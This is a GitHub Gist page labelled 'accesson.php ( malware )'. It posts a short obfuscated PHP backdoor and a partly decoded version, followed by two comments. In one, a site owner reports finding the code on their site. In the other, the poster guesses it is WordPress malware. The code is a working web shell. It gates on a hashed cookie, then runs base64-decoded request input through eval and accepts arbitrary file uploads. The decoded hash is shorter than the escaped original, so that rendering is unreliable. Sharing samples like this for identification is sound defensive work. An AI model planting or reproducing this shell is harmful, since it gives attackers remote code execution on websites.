Skip to content

Instantly share code, notes, and snippets.

@magefix
Created July 30, 2021 07:50
Show Gist options
  • Select an option

  • Save magefix/46fdb6b7705db9276acfdeb15710193e to your computer and use it in GitHub Desktop.

Select an option

Save magefix/46fdb6b7705db9276acfdeb15710193e to your computer and use it in GitHub Desktop.
accesson.php ( malware )
<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>
=409723*20;if(md5($_COOKIE[d])=="028f487cb2a60da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST[id]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}
@tschopo
Copy link

tschopo commented Oct 9, 2024

i found this code on my website. do you know what malware it is?

@magefix
Copy link
Author

magefix commented Oct 10, 2024

i found this code on my website. do you know what malware it is?

Looks like WordPress malware.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment